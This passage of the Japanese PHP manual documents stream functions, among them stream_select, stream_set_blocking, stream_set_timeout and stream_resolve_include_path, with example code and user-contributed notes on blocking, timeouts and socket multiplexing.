    case STREAM_NOTIFY_COMPLETED:
    case STREAM_NOTIFY_FAILURE:
    case STREAM_NOTIFY_AUTH_RESULT:
        /* 無視 */
        break;

    case STREAM_NOTIFY_REDIRECTED:
        echo "Being redirected to: ", $message, "\n";
        break;

    case STREAM_NOTIFY_CONNECT:
        echo "Connected...\n";
        break;

    case STREAM_NOTIFY_FILE_SIZE_IS:
        $filesize = $bytes_max;
        echo "Filesize: ", $filesize, "\n";
        break;

    case STREAM_NOTIFY_MIME_TYPE_IS:
        echo "Mime-type: ", $message, "\n";
        break;

    case STREAM_NOTIFY_PROGRESS:
        if ($bytes_transferred > 0) {
            if (!isset($filesize)) {
                printf("\rUnknown filesize.. %2d kb done..", $bytes_transferred/1024);
            } else {
                $length = (int)(($bytes_transferred/$filesize)*100);
                printf("\r[%-100s] %d%% (%2d/%2d kb)", str_repeat("=", $length). ">", $length, ($bytes_transferred/1024), $filesize/1024);
            }
        }
        break;
    }
}

isset($argv[1], $argv[2]) or usage($argv);

$ctx = stream_context_create();
stream_context_set_params($ctx, array("notification" => "stream_notification_callback"));

$fp = fopen($argv[1], "r", false, $ctx);
if (is_resource($fp) && file_put_contents($argv[2], $fp)) {
    echo "\nDone!\n";
    exit(0);
}

$err = error_get_last();
echo "\nErrrrrorr..\n", $err["message"], "\n";
exit(1);
?>

上の例を php -n fetch.php http://no2.php.net/get/php-5-LATEST.tar.bz2/from/this/mirror php-latest.tar.bz2 のように実行すると、次のような出力となります。

Connected...
Mime-type: text/html; CHARSET=shift-jis
Being redirected to: http://no2.php.net/distributions/php-5.2.5.tar.bz2
Connected...
Filesize: 7773024
Mime-type: application/octet-stream
[========================================>                                                           ] 40% (3076/7590 kb)

参考

  • コンテキストパラメータ

User Contributed Notes

billynoah at gmail dot com 16-Jun-2017 10:58
A couple of notes regarding the examples here (I'm using PHP 7.0.18):

1) fopen() did not provide STREAM_NOTIFY_PROGRESS for me but `file_get_contents()` worked fine.

2) The bytes transferred when transferring a zip file seems to always be shy by 8192 (8k).  This varies depending on filetype and also breaks STREAM_NOTIFY_PROGRESS when the filesize is below 8k.  I modified the function and it's now displaying the correct amount transferred and percentage downloaded on zip files above 8k.  I'm not sure why the callback is so inconsistent but hopefully this is helpful to someone.  This was also modified to only display progress:

<?php

$ctx = stream_context_create();
stream_context_set_params($ctx, array("notification" => "stream_notification_callback"));
$fileData = @file_get_contents('http://example.com/test.zip',false,$ctx);

function stream_notification_callback($notification_code, $severity, $message, $message_code, $bytes_transferred, $bytes_max) {
    static $filesize = null;
    switch($notification_code) {
    case STREAM_NOTIFY_FILE_SIZE_IS:
        $filesize = $bytes_max;
        break;
    case STREAM_NOTIFY_CONNECT:
        echo "Connected...\n";
        break;
    case STREAM_NOTIFY_PROGRESS:
        if ($bytes_transferred > 0 && $filesize >= 8192) {
            $bytes_transferred += 8192;
            if (!isset($filesize)) {
                printf("\rUnknown filesize.. %2d kb done..", $bytes_transferred/1024);
            } else {
                $length = (int)(($bytes_transferred/$filesize)*100);
                printf("\r[%-100s] %d%% (%2d/%2d kb)", str_repeat("=", $length). ">", $length, ($bytes_transferred/1024), $filesize/1024);
            }
        }
        break;
    }
}
?>
recycling dot sp dot am at gmail dot com 10-Sep-2010 05:08
Please note that the callback function never gets called when the stream is (at least) of type socket. It is probably the same for the file:// proto although I've not done further tests.

I'm using php 5.3.3.


stream_wrapper_register のエイリアス

  • ≪ stream_notification_callback
  • stream_resolve_include_path ≫
  • PHP Manual
  • ストリーム 関数
  • stream_wrapper_register のエイリアス

stream_register_wrapper

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

stream_register_wrapper — stream_wrapper_register() のエイリアス

説明

この関数は次の関数のエイリアスです。 stream_wrapper_register().

User Contributed Notes

There are no user contributed notes for this page.


インクルードパスに対してファイル名を解決する

  • ≪ stream_register_wrapper
  • stream_select ≫
  • PHP Manual
  • ストリーム 関数
  • インクルードパスに対してファイル名を解決する

stream_resolve_include_path

(PHP 5 >= 5.3.2, PHP 7, PHP 8)

stream_resolve_include_path — インクルードパスに対してファイル名を解決する

説明

stream_resolve_include_path ( string $filename ) : string|false

インクルードパスに対して filename を解決します。 fopen()/include と同じルールに従います。

パラメータ

filename

解決するファイル名。

返り値

解決したファイル名を含む文字列を返します。失敗した場合に false を返します。

例

例1 stream_resolve_include_path() の例

基本的な使いかたです。

<?php
var_dump(stream_resolve_include_path("test.php"));
?>

上の例の出力は、 たとえば以下のようになります。

string(22) "/var/www/html/test.php"

User Contributed Notes

kawewong at gmail dot com 07-Feb-2021 07:42
In some case like this, you can't use `realpath()` or `file_exists()` without resolve its path.

Example:

file.php
subfolder/
..|- included.php
..|- subfolder/
.........|- another-included.php

file.php contents:
```
<?php
var_dump(file_exists('subfolder/included.php'));// true
include 'subfolder/included.php';
?>
```

subfolder/included.php contents:
```
<?php
var_dump(file_exists('subfolder/another-included.php'));// false but the file is really exists.
var_dump(file_exists(stream_resolve_include_path('subfolder/another-included.php')));// with `stream_resolve_include_path()` function, it returns true now.
include 'subfolder/another-included.php';// working fine, no errors.
?>
```

subfolder/subfolder/another-included.php contents:
```
<?php
echo 'Hello world';
?>
```
zelnaga at gmail dot com 17-Jun-2014 02:48
In case you're running a version of PHP that doesn't have this function...

if (!function_exists('stream_resolve_include_path')) {
    /**
     * Resolve filename against the include path.
     *
     * stream_resolve_include_path was introduced in PHP 5.3.2. This is kinda a PHP_Compat layer for those not using that version.
     *
     * @param Integer $length
     * @return String
     * @access public
     */
    function stream_resolve_include_path($filename)
    {
        $paths = PATH_SEPARATOR == ':' ?
            preg_split('#(?<!phar):#', get_include_path()) :
            explode(PATH_SEPARATOR, get_include_path());
        foreach ($paths as $prefix) {
            $ds = substr($prefix, -1) == DIRECTORY_SEPARATOR ? '' : DIRECTORY_SEPARATOR;
            $file = $prefix . $ds . $filename;

            if (file_exists($file)) {
                return $file;
            }
        }

        return false;
    }
}
tambet dot matiisen at gmail dot com 28-Mar-2013 12:26
stream_resolve_include_path() seems to cache it's output. After I renamed a file, I had to restart Apache for stream_resolve_include_path() to not return non-existing file name. This was on Windows.
kontakt at victorjonsson dot se 25-Apr-2012 08:13
This seems to be a great alternative to file_exists.

if( file_exists(__DIR__.'/som-file.php') )

Goes way slower than:

if( stream_resolve_inlcude_path(__DIR__.'/som-file.php') !== false)
sebastian dot krebs at kingcrunch dot de 16-Feb-2011 03:03
It really behaves like `include` and will only resolve the filename against the include-path, if the path is relative. It makes not much sense to resolve already absolute pathnames anyway.


select() システムコールと同等の操作を、 ストリームの配列に対して tv_sec と tv_usec で指定されたタイムアウト時間をもって行う

  • ≪ stream_resolve_include_path
  • stream_set_blocking ≫
  • PHP Manual
  • ストリーム 関数
  • select() システムコールと同等の操作を、 ストリームの配列に対して tv_sec と tv_usec で指定されたタイムアウト時間をもって行う

stream_select

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

stream_select — select() システムコールと同等の操作を、 ストリームの配列に対して tv_sec と tv_usec で指定されたタイムアウト時間をもって行う

説明

stream_select ( array &$read , array &$write , array &$except , int $tv_sec , int $tv_usec = 0 ) : int

stream_select() はストリームの配列を受け取ると、 それらの状態が変化するまで待ちます。機能としては、ストリームに対して 働くという点以外では socket_select() と同一です。

パラメータ

read

read 配列に列挙されたストリームに対しては、 何らかのデータがそのストリーム内で読み出せる状態にあるかどうか 監視が行われます (より正確にいえば、ブロックしないで読み出せる状態かどうか - 特にストリームが EOF に達したかどうか、です。このとき、 fread() は長さ 0 の文字列を返します)。

write

write 配列に列挙されたストリームに対しては、 ブロックしないで書き込みができるかどうかの監視が行われます。

except

except 配列に列挙されたストリームに対しては、 重大な例外（"帯域外の"）データが発生したかどうかの監視が行われます。

注意:

stream_select() の終了時には、 どのストリームの状態が実際に変化したのかが分かるよう、 配列 read、write および except に変更が加えられます。 但し、配列のキーは保存されます。

tv_sec

tv_sec と tv_usec は、一体となって、timeout パラメータを表現します。 tv_sec は秒数を指定し、一方 tv_usec はマイクロ秒数を指定します。 timeout は、stream_select() の実行から戻るまでの時間の上限です。 tv_sec および tv_usec の両方に 0 を指定すると stream_select() はデータを待たずに一瞬で戻ります。 これは現在のストリームの状態を示します。

tv_sec が null (タイムアウトなし) の場合、 stream_select() はブロックしつづけ、調べている ストリームのひとつでイベントが発生する（あるいはシグナルがシステム コールを中断する）まで終了しません。

警告

タイムアウト値に 0 を指定すると、ストリームの 状態を即時に取得することが可能です。しかし、ループ内でタイムアウト 0 を指定するのは良い考えではありません。 そうすると大量の CPU 時間を消費してしまいます。

タイムアウト値を数秒にするとかなりましになります。しかし、どうしても 他のコードを同時に実行させながらチェックをする必要がある場合には、 少なくとも 200000 マイクロ秒以上のタイムアウトを 設定するようにしましょう。これであなたのスクリプトの CPU 使用量を 抑えることができます。

タイムアウト値は、あくまでも経過時間の最大値であることを覚えておきましょう。 stream_select() は、指定したストリームが使用可能に なるとすぐに結果を返します。

tv_usec

tv_sec の説明を参照ください。

返り値

成功した場合 stream_select() は、変更された 配列に何個のストリームリソースが格納されたかを示す数を返します。 もしタイムアウトの時間内に何も規定された事象が起こらなかった場合は 0 になることもあります。エラーの際は false を返し、警告を発生させます （システムコールが別のシグナルによって中断された場合などに起こりえます）。

例

例1 stream_select() の例

この例では、$stream1 あるいは $stream2 のどちらかに読み込めるデータが 到達したかどうかを調べます。 タイムアウトが 0 なので、すぐに結果を返します。

<?php
/* read 配列を用意 */
$read   = array($stream1, $stream2);
$write  = NULL;
$except = NULL;
if (false === ($num_changed_streams = stream_select($read, $write, $except, 0))) {
    /* エラー処理 */
} elseif ($num_changed_streams > 0) {
    /* 少なくとも 1 つのストリームに何らかの事象が起こりました。*/
}
?>

注意

注意:

現在の Zend Engine の実装上の制約により、null のような定数を この関数の参照渡しが行われるパラメータに直接指定することはできません。 代わりに一時的な変数を指定するか、一番左の変数が一時的な変数になるような 式を指定してください:

<?php
$e = NULL;
stream_select($r, $w, $e, 0);
?>

注意:

エラーかどうかをチェックするには === を使ってください。 stream_select() は 0 を返すことがあるため、その場合 false と == 演算子で比較すると true と評価されてしまうからです:

<?php
$e = NULL;
if (false === stream_select($r, $w, $e, 0)) {
    echo "stream_select() に失敗しました\n";
}
?>

注意:

配列に返されたストリームに対して読み込みまたは書き込み操作を行う際に、 必ずしもあなたの希望しただけデータが読まれたり書かれたりはしないことに 注意してください。たった 1 バイトしか読み出せない場合も、書き込めない 場合もあるのです。

注意:

ストリームの中には、(zlib などのように) この関数で select できないものもあります。

注意: Windows の互換性

Windows では、proc_open() が返すファイル記述子に 対して stream_select() を使用すると 失敗して false を返すことがあります。

あらゆる 入力イベントが利用可能になるとすぐに、 コンソールからの STDIN の状態も変化しますが、 ストリームからの読み出しはブロックされたままかもしれません。

参考

  • stream_set_blocking() - ストリームのブロックモードを有効にする / 解除する

User Contributed Notes

Sitsofe 04-Feb-2019 06:52
When stream_select() fails you SHOULD NOT use the results of the arrays (i.e. read, write, except) that were passed into it as parameters. While doing so anyway won't trigger undefined behaviour, you are depending on unspecified behaviour that by definition is not guaranteed.

At the time of writing the PHP 7.2 interpreter does not modify the arrays upon stream_select() failure (see the code around https://github.com/php/php-src/blob/php-7.2.14/ext/standard/streamsfuncs.c#L842) thus a PHP program that doesn't heed the advice above can deceive itself as to the state of those streams.

(Hopefully this warning can be added to the main documentation one day)
Martin 15-Jun-2018 11:17
Maintaining connection with multiple clients can be tricky, PHP script is single-thread process, so if you like to do more than one thing at once (like waiting for new connections and waiting for new data), you'll have to use some sort of multiplexing.

<?php
$socket = stream_socket_server("tcp://0.0.0.0:8000", $errno, $errstr, STREAM_SERVER_BIND | STREAM_SERVER_LISTEN);
stream_set_blocking($socket, 0);

$connections = [];
$read = [];
$write = null;
$except = null;

while (1) {

    // look for new connections
    if ($c = @stream_socket_accept($socket, empty($connections) ? -1 : 0, $peer)) {
        echo $peer.' connected'.PHP_EOL;
        fwrite($c, 'Hello '.$peer.PHP_EOL);
        $connections[$peer] = $c;
    }

    // wait for any stream data
    $read = $connections;
    if (stream_select($read, $write, $except, 5)) {

        foreach ($read as $c) {
            $peer = stream_socket_get_name($c, true);

            if (feof($c)) {
                echo 'Connection closed '.$peer.PHP_EOL;
                fclose($c);
                unset($connections[$peer]);
            } else {
                $contents = fread($c, 1024);
                echo $peer.': '.trim($contents).PHP_EOL;
            }
        }
    }
}
?>
asphp at dsgml dot com 04-Feb-2016 09:28
Make sure not to pass the same variable in the 3 arguments to stream_select, or you'll only get the results from one of them and the others will be overwritten.
doingitwrong at mailismagic dot com 17-Jun-2015 10:35
If you use stream_select() with a blocking stream, you are doing it wrong!

Just because this function returns something in one or more of the arrays does NOT mean that a future read or write operation will not block.

The above sentence is the most important sentence you will ever read regarding stream manipulation.  Using stream_select() with blocking streams is a very common amateur mistake and causes major headaches when tracking down usage of this and similar select() system functions.  PHP (and really the underlying OS) should verify that the supplied stream set is not blocking and throw an error/exception if any socket is set to block so that people are forced to fix their code.  The documentation for stream_select() is, at best, misleading.

If you want a non-blocking stream, then set the stream to not block.  Otherwise, live with the blocking stream.  That is, after all, the whole point of blocking - to block indefinitely until the operation completes.  select() is built for non-blocking streams ONLY.  Any other use will result in very hard to track down bugs.

I got the above lecture many years ago after encountering the very bugs I mention.  I fixed my code and now correct similar mistakes when I run into the issue elsewhere.  Writing code for non-blocking streams is simpler than trying to write hacks for blocking streams with select() functions and ending up with application bugs.
rob at associatedtechs dot com 18-Jul-2014 12:26
If you try to use stream_select() with fread(), you may get bit by a combination of bugs (https://bugs.php.net/bug.php?id=52602 and https://bugs.php.net/bug.php?id=51056). As of PHP 5.5.10, fread() and stream_select() don't reliably play well together.

If you need stream_select() and you don't need an encrypted connection (e.g. TLS), use stream_socket_recvfrom() instead of fread().

I can't find a way to reliably handle an encrypted connection with blocking functions in PHP; non-blocking might be the only way to do it.
mark2xv at gmail dot com 20-Aug-2013 04:52
If you're getting unexplainable problems with nonblocking sockets using stream_select, disable the buffers using:

stream_set_read_buffer($socket, 0);
stream_set_write_buffer($socket, 0);

For some reason when writing (in total) ~256k, sockets start returning FALSE when reading, yet always appear in the stream_select arrays. This fixed that problem. (for us.)
aks at esoft dot dk 10-Nov-2010 07:56
stream_select() looks deceptively like a simple wrapper around POSIX select(2).

But beware: while select(2) allows you to pass no file descriptors and use it as a "portable subsecond sleep", PHP will complain with "Warning: stream_select(): No stream arrays were passed in ****" if all arrays are empty or null, and it WONT sleep, it will return immediately. So... if the number of file descriptors you have isn't static, you have to deal with the special case yourself.
lynch at php dot net 15-Mar-2010 12:48
Note: At least one of the input arrays must be non-empty, or you get an E_WARNING message:
PHP Warning:  stream_select(): unable to select [9]: Bad file descriptor (max_fd=0) in
jerrywilborn at gmail dot com 27-Jul-2009 10:55
http://bugs.php.net/bug.php?id=42682

This function will not return the number of changed streams under certain systems with older versions, but instead it will return '0'. Be careful.
php at richardneill dot org 04-Jul-2009 07:45
Note that reading from a regular file which is on end-of-file will *not* block. You'll get a non-blocking, zero-byte read.  However, stream_select *will* block if the input is a pipe, and there is no more data to be had.
Maxdamantus 29-Sep-2007 10:28
Simple stream_select wrapper.. Returns the first stream in the array, and sets parameter 2 to the key (So that it is easy to identify what received data):

<?php
function select($array, &$vkey, $timeout=0){
    $select = array();
    $null = NULL;
    foreach($array as $key => $sock){
        $x = count($select);
        $select[$x] = $sock;
        $keys[$x] = $key;
    }
    if(stream_select($select, $null, $null, $timeout)){
        foreach($keys as $key){
            if($array[$key] == $select[0]){
                $vkey = $key;
                return($select[0]);
            }
        }
    }
}

$streams = array("foo" => $stream_one, "bar" => $stream_two); // Create an array of two (already existant) streams.
if($new = select($streams, $key, 60)){ //Sets $new to the resource that next gets new data, and $key to either "foo", or "bar", depending which one it is.
    echo $key.":".stream_get_line($new, 2048)."\n";
}
?>
bluej100@gmail 21-Aug-2007 04:31
@mbaynton at gmail dot com

A handy syntactic trick:

<?php
$r = Array($stream1, $stream2);
stream_select($r, $w = null, $x = null, 1337);
?>

I've seen it recommended elsewhere in the documentation for clarifying magic arguments so maintainers don't have to go check the function itself, but it also solves your problem here.
Ben 01-Feb-2007 05:35
You can key on file descriptors just fine by casting them to an int or a string, which returns what you would expect.
maartenwolzak at gmail dot com 25-Jan-2007 01:36
Note that you should change the calctimeout function below to divide the outcome by 1.000.000 otherwise you'll be waiting for two years instead of one minute for the socket to timeout...

<?php

// The function to calculate the timeout
function calctimeout($maxtime, $starttime)
{
   return ($maxtime - ((microtime(true) - $starttime) * 1000000))/1000000;
}

?>
aidan at aidans dot org 07-Dec-2006 07:53
Note that contrary to what the previous poster said, one is not able to use a stream resource as a key for an array. Rather, if you want to know which socket you are dealing with, consider using code similar to this:

<?php
$sockets = array("sock_1" => $sock1, "sock_2" => $sock2, "sock_3" => $sock_3);

$read = $write = $error = $sockets;
$num = stream_select($read, $write, $error, 10);
if ($n > 0) {
    foreach ($read as $r) {
        $key = array_search($r, $sockets);
        // $key will be "sock_1", "sock_2", "sock_3", etc.
    }
}
?>

Hope that helps someone out there!
phpdoc at shemesh dot biz 14-Mar-2005 01:33
Please note that, on return, the key of "read" will be zero based, serially numbered according to the streams for which there is read data ready only. In other words, if you want to know which of the original streams placed in "read" is ready, there is no immediate way of knowing that.

If you want to know which of the original stream is which, you can either use "==", or possibly set a reverse map array, in which the stream is the key, and the key to the original "read" array is the data.
aidan at php dot net 22-Jun-2004 11:30
If you want to set an absolute maximum execution time for stream_select in a loop, it's important to decrement the max_time value passed to stream_select.

<?php
// The maximum time for execution in milliseconds
$maxtime = 200000;
// The time the loop started
$starttime = microtime(true);
// Original array of sockets
$r = $orig_sockets;

// The function to calculate the timeout
function calctimeout($maxtime, $starttime)
{
    return $maxtime - ((microtime(true) - $starttime) * 1000000);
}

while (stream_select($r, $w = null, $e = null, 0, calctimeout($maxtime, $starttime)) !== 0)
{
    // loop through the sockets that showed activity
    foreach ($r as $socket) {
        // $socket talked
    }

    // stream_select modifies the contents of $r
    // in a loop we should replace it with the original
    $r = $orig_sockets;
}

?>


ストリームのブロックモードを有効にする / 解除する

  • ≪ stream_select
  • stream_set_chunk_size ≫
  • PHP Manual
  • ストリーム 関数
  • ストリームのブロックモードを有効にする / 解除する

stream_set_blocking

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

stream_set_blocking — ストリームのブロックモードを有効にする / 解除する

説明

stream_set_blocking ( resource $stream , bool $enable ) : bool

stream のモードをブロックあるいは非ブロックに設定します。

この関数は、非ブロックモードをサポートするすべてのストリーム (現在は、通常のファイルストリームとソケットストリームのみ) において利用可能です。

パラメータ

stream

ストリーム。

enable

enable が false の時、ストリームは 非ブロックモードに切り替えられ、true の場合は、 ブロックモードに切り替えられます。このモードの違いは、 fgets() や fread() といった、ストリームからデータを読む関数に影響します。 非ブロックモードにおいては fgets() を呼び出すと どんな場合でもただちに呼び出し元に戻りますが、ブロックモードの場合では、 ストリームがデータを読み出せる状態になるまで待ちつづけます。

返り値

成功した場合に true を、失敗した場合に false を返します。

注意

注意:

この関数は以前は set_socket_blocking() という名前で後に socket_set_blocking() に変わりましたが、 この使用法は廃止されました。

注意:

Windowsでは、これはローカルファイルには影響しません。 ローカルファイルのノンブロッキングI/Oは、Windowsではサポートされていません。

参考

  • stream_select() - select() システムコールと同等の操作を、 ストリームの配列に対して tv_sec と tv_usec で指定されたタイムアウト時間をもって行う

User Contributed Notes

ayon at hyurl dot com 21-Feb-2017 01:38
It is necessary to be noted that stream_set_blocking() and stream_set_timeout() does not work width standard I/O streams, such as STDIN and STDOUT.
Anonymous 04-Jan-2013 07:38
On Windows this function does not work with pipes opened with proc_open (https://bugs.php.net/bug.php?id=47918, https://bugs.php.net/bug.php?id=34972, https://bugs.php.net/bug.php?id=51800)
MagicalTux at ookoo dot org 07-Sep-2006 11:13
When you use fwrite() on a non-blocking stream, data isn't discarded silently as t dot starling said.

Remember that fwrite() returns an int, and this int represents the amount of data really written to the stream. So, if you see that fwrite() returns less than the amount of written data, it means you'll have to call fwrite() again in the future to write the remaining amount of data.

You can use stream_select() to wait for the stream to be available for writing, then continue writing data to the stream.

Non-blocking streams are useful as you can have more than one non-blocking stream, and wait for them to be available for writing.


ストリームのチャンクサイズを設定する

  • ≪ stream_set_blocking
  • stream_set_read_buffer ≫
  • PHP Manual
  • ストリーム 関数
  • ストリームのチャンクサイズを設定する

stream_set_chunk_size

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

stream_set_chunk_size — ストリームのチャンクサイズを設定する

説明

stream_set_chunk_size ( resource $stream , int $size ) : int

ストリームのチャンクサイズを設定します。

パラメータ

stream

対象のストリーム。

size

設定したいチャンクサイズ。

返り値

成功した場合に、変更前の設定値を返します。

size が 1 より小さいか、あるいは PHP_INT_MAX より大きい場合には false を返します。

エラー / 例外

size が 1 より小さいか、あるいは PHP_INT_MAX より大きい場合には E_WARNING レベルのエラーが発生します。

User Contributed Notes

There are no user contributed notes for this page.


指定したストリームのファイル読み込みバッファリングを有効にする

  • ≪ stream_set_chunk_size
  • stream_set_timeout ≫
  • PHP Manual
  • ストリーム 関数
  • 指定したストリームのファイル読み込みバッファリングを有効にする

stream_set_read_buffer

(PHP 5 >= 5.3.3, PHP 7, PHP 8)

stream_set_read_buffer — 指定したストリームのファイル読み込みバッファリングを有効にする

説明

stream_set_read_buffer ( resource $stream , int $size ) : int

読み込みバッファを設定します。stream_set_write_buffer() と似ていますが、読み込み操作を対象としています。

パラメータ

stream

ファイルポインタ。

size

バッファのバイト数。 size が 0 であれば、読み込み操作はバッファされなくなります。 これにより、fread() による読み込み操作が完了するまでは 他のプロセスが同じ入力ストリームから読み込み操作をできないことが保証されます。

返り値

成功時に 0 を、要求通りに設定できなかった場合はそれ以外の値を返します。

参考

  • stream_set_write_buffer() - 指定されたストリームのファイル書き込みバッファリングを有効にする

User Contributed Notes

There are no user contributed notes for this page.


ストリームにタイムアウトを設定する

  • ≪ stream_set_read_buffer
  • stream_set_write_buffer ≫
  • PHP Manual
  • ストリーム 関数
  • ストリームにタイムアウトを設定する

stream_set_timeout

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

stream_set_timeout — ストリームにタイムアウトを設定する

説明

stream_set_timeout ( resource $stream , int $seconds , int $microseconds = 0 ) : bool

stream にタイムアウトの値を設定します。 この値は、seconds と microseconds の和で表されます。

ストリームがタイムアウトとなった場合は、 stream_get_meta_data() が返す配列のキー 'timed_out' の値が true に設定されます。エラーや警告が発生していなくても同様になります。

パラメータ

stream

対象となるストリーム。

seconds

設定したいタイムアウトの秒数部分。

microseconds

設定したいタイムアウトのマイクロ秒数部分。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 stream_set_timeout() の例

<?php
$fp = fsockopen("www.example.com", 80);
if (!$fp) {
    echo "開けません\n";
} else {

    fwrite($fp, "GET / HTTP/1.0\r\n\r\n");
    stream_set_timeout($fp, 2);
    $res = fread($fp, 2000);

    $info = stream_get_meta_data($fp);
    fclose($fp);

    if ($info['timed_out']) {
        echo 'Connection timed out!';
    } else {
        echo $res;
    }

}
?>

注意

注意:

この関数では、stream_socket_recvfrom() のような 高度な操作はできません。そのかわりに、timeout パラメータを指定して stream_select() を使用してください。

この関数は、以前は set_socket_timeout() 、その後は socket_set_timeout() と呼ばれたこともありましたが、 これらの利用は推奨されません。

参考

  • fsockopen() - インターネット接続もしくは Unix ドメインソケット接続をオープンする
  • fopen() - ファイルまたは URL をオープンする

User Contributed Notes

burninleo at gmx dot net 10-Jan-2016 01:15
If the timeout fails, because the server remains completely silent, one may have to add stream_select() to make the timeout work. This may be much more efficient that a non-blocking reading operation.

<?php
stream_set_timeout($c, $timeout);
$data = '';
$stR = array($this->smtp_conn);
$stW = null;
while (is_resource($c) && !feof($c)) {
    if (!stream_select($stR, $stW, $stW, $timeout)) {
        trigger_error('Timeout');
        break;
    }
    $str = fgets($c, 515);
    $data.= $str;

    // Handling of "traditional" timeout
    $info = stream_get_meta_data($c);
     if ($info['timed_out']) {
        trigger_error('Timeout');
        break;
    }
}
?>

Background: We had issues with a SMTP server that was addresses unencrypted while expecting TLS encryption. The stream_set_timeout() alone did not work as expected and the script hung for an hour or more.
burninleo at gmx dot net 09-Jan-2016 11:06
Another note alread states that blocking-reads may be an issue, if the counterpart responds very slowly - or not at all. The stream timeout may not work as expected in such a situation.

However, php.net provides very little information on how to use non-blocking reading operations. Here's a code sample:

<?php
        stream_set_timeout($c, $timeout);
        $data = '';
        while (is_resource($c) && !feof($c)) {
            // Use non-blocking reading for first loop
            if (($data === '') and ($timeout > 0)) {
                stream_set_blocking($c, false);
                $endtimeOut = time() + $timeout;
                $str = '';
                while ((time() < $endtimeOut) and (strlen($str) < 515) and !feof($c)) {
                    sleep(1);  // Note: This may require tuning
                    $str.= fgets($c, 515);
                }
                // Handling first-read timeout
                if (time() >= $endtimeOut) {
                    trigger_error('Timeout', E_USER_WARNING);
                    break;
                }
                stream_set_blocking($c, true);
            } else {
                $str = fgets($c, 515);
            }
            $data.= $str;

            // Handling of "traditional" timeout
            $info = stream_get_meta_data($c);
            if ($info['timed_out']) {
                    trigger_error('Timeout', E_USER_WARNING);
                    break;
            }
        }
?>
jack.whoami 27-May-2014 08:25
Just in case someone stumbles into my situation... I was trying to get the microseconds part to work and it just wasn't working as expected.

Assuming blocking mode is true and I use

<?php stream_set_timeout($s, 1, 0);?>

I get a 1s delay as expected. However when I do

<?php stream_set_timeout($s, 0, 500);?>

I expect a 500microsecond delay but I get no delays at all. However when i do this

<?php stream_set_timeout($s, 0, 500000);?>

I get a 500 microsecond delay which is what I was expecting
emailfire at gmail dot com 18-May-2011 01:28
This function seems to have no effect when running as a CLI script, see http://bugs.php.net/bug.php?id=36030
hamishcool3 at yahoo dot co dot uk 29-Oct-2010 09:29
In case anyone is puzzled, stream_set_timeout DOES NOT work for sockets created with socket_create or socket_accept. Use socket_set_option instead.

Instead of:
<?php
stream_set_timeout($socket,$sec,$usec);
?>

Use:
<?php
socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array('sec'=>$sec, 'usec'=>$usec));
socket_set_option($socket, SOL_SOCKET, SO_SNDTIMEO, array('sec'=>$sec, 'usec'=>$usec));
?>
mildly dull at terriblyclever dot com 29-Nov-2009 05:53
I didn't have much luck with the suggestions below (although I likely applied them wrong).
Instead, I used stream_context_create() and set an http option for timeout. I fed that context into file_get_contents() and voila!

To my desperate friend below: the https transport can also use the http stream context options. I haven't verified this works as I don't have a slow responding ssl to test on. But if you are still stressing, give the below a shot (you may need to modify a bit...)

<?php
    $timeout = 5*60;
    $options = array(
          'http'=>array(
            'method'=>"GET",
            'header'=>"Accept-language: en\r\n",
              'timeout' => $timeout
              )
        );
    $context = stream_context_create($options);
    $contents = file_get_contents($source, false, $context);
?>

Yes...that is a 5 minute timeout.
Martin Butt - martin at anti_spambutt.cx 12-Mar-2007 09:39
Here is a working example for loops:

<?php
// Timeout in seconds
$timeout = 5;

$fp = fsockopen("www.server.com", 80, $errno, $errstr, $timeout);

if ($fp) {
        fwrite($fp, "GET /file.php HTTP/1.0\r\n");
        fwrite($fp, "Host: www.server.com\r\n");
        fwrite($fp, "Connection: Close\r\n\r\n");

        stream_set_blocking($fp, TRUE);
        stream_set_timeout($fp,$timeout);
        $info = stream_get_meta_data($fp);

        while ((!feof($fp)) && (!$info['timed_out'])) {
                $data .= fgets($fp, 4096);
                $info = stream_get_meta_data($fp);
                ob_flush;
                flush();
        }

        if ($info['timed_out']) {
                echo "Connection Timed Out!";
        } else {
                echo $data;
        }
}
?>
Dianoga (dianoga7 [at] 3dgo.net) 20-Nov-2006 06:33
I have found that in order to actually stop the socket from timing out the script, you must call stream_get_meta_data and check for a timeout within the loop reading from the socket.

Example:

<?php
$sock = fsockopen($host, 80, $errno, $errstr, 30);
if(!$sock){
    echo "Unable to get server status";
}else{
    $out = "GET /server.php HTTP/1.1\r\n";
    $out .= "Host: $host\r\n";
    $out .= "Connection: Close\r\n\r\n";

    fwrite($sock, $out);

    stream_set_blocking($fp, FALSE );
    stream_set_timeout($sock, $timeout);
    $info = stream_get_meta_data($sock);

    while (!feof($sock) && !$info['timed_out']) {
        $file .= fgets($sock, 4096);
        $info = stream_get_meta_data($sock);
    }

    fclose($sock);
?>
alfi_ at yahoo dot com 01-Aug-2006 08:10
If you are using fsockopen() to create a connection, first going to write into the stream and then waiting for the reply (e.g. simulating HTTP request with some extra headers), then stream_set_timeout() must be set only after the write - if it is before write, it has no effect on the read timeout :-(
Noticed at least on PHP/4.3.10
rtfm61 at yandex dot ru 25-Feb-2006 02:41
stream_set_timeout() is not suitable for such files as UNIX-devices (/dev/...), i suggest to use select() instead with desirable timeout value - that works well.
ridera 17-Feb-2005 05:37
I have found it required to add

"stream_set_blocking($fp, FALSE )"

prior to any fgets(), fread(), etc. to prevent the code from hanging up when remote files are called and the response is slow.


指定されたストリームのファイル書き込みバッファリングを有効にする

  • ≪ stream_set_timeout
  • stream_socket_accept ≫
  • PHP Manual
  • ストリーム 関数
  • 指定されたストリームのファイル書き込みバッファリングを有効にする

stream_set_write_buffer

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

stream_set_write_buffer — 指定されたストリームのファイル書き込みバッファリングを有効にする

説明

stream_set_write_buffer ( resource $stream , int $buffer ) : int

stream で指定されたファイルポインタに buffer で表されたバイト数分だけ出力バッファを設定します。

パラメータ

stream

ファイルポインタ。

buffer

バッファのバイト数。 buffer が 0 であれば、書き込み操作はバッファされなくなります。 これにより、fwrite() による書き込み操作が、他の プロセスが同じ出力ストリームに対して何らかの書き込み操作を行う前に 完了することが保証されます。

返り値

成功時に 0 を、要求通りに設定できなかった場合はそれ以外の値を返します。

例

